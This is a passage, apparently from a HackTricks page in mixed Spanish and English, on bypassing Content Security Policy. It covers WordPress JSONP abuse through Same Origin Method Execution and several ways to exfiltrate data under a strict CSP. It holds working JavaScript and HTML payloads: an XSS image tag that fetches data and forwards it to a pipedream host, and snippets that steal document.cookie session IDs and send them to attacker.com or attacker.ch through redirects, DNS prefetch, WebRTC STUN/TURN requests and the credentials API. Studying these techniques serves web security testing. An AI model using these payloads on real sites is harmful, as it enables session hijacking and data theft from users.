a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME es una técnica que abusa de un XSS (o XSS muy limitado) in an endpoint of a page para abuse other endpoints of the same origin. Esto se hace cargando el endpoint vulnerable desde una página atacante y luego refrescando la página atacante hacia el endpoint real en el mismo origen que quieres abusar. De este modo el vulnerable endpoint puede usar el objeto opener en el payload para access the DOM del real endpoint to abuse. Para más información consulta:

SOME - Same Origin Method Execution

Además, wordpress tiene un endpoint JSONP en /wp-json/wp/v2/users/1?_jsonp=data que reflect los data enviados en la salida (con la limitación de solo letras, números y puntos).

Un atacante puede abusar de ese endpoint para generate a SOME attack contra WordPress e embed it inside <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> nota que este script será loaded porque está allowed by 'self'. Además, y dado que WordPress está instalado, un atacante podría abusar del SOME attack a través del endpoint callback vulnerable que bypasses the CSP para dar más privilegios a un usuario, instalar un nuevo plugin...\
Para más información sobre cómo realizar este ataque consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Si existe una CSP estricta que no te permite interactuar con servidores externos, hay algunas cosas que siempre puedes hacer para exfiltrar la información.

Location

You could just update the location to send to the attacker's server the secret information:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Etiqueta meta

Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no leak contenido)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Para cargar las páginas más rápido, los navegadores van a pre-resolver nombres de host en direcciones IP y almacenarlas en caché para uso posterior.
Puedes indicar a un navegador que pre-resuelva un nombre de host con: <link rel="dns-prefetch" href="something.com">

Podrías abusar de este comportamiento para exfiltrate sensitive information via DNS requests:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Otra forma:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Para evitar que esto ocurra, el servidor puede enviar el HTTP header:

X-DNS-Prefetch-Control: off

tip

Aparentemente, esta técnica no funciona en headless browsers (bots)

WebRTC

En varias páginas puedes leer que WebRTC no comprueba la política connect-src del CSP.

En realidad puedes leak información usando una DNS request. Mira este código:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Otra opción:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

El popup de credenciales envía una petición DNS al iconURL sin que la página lo restrinja. Solo funciona en un contexto seguro (HTTPS) o en localhost.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

Comprobación de políticas CSP en línea

Creación automática de CSP

https://csper.io/docs/generating-content-security-policy

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks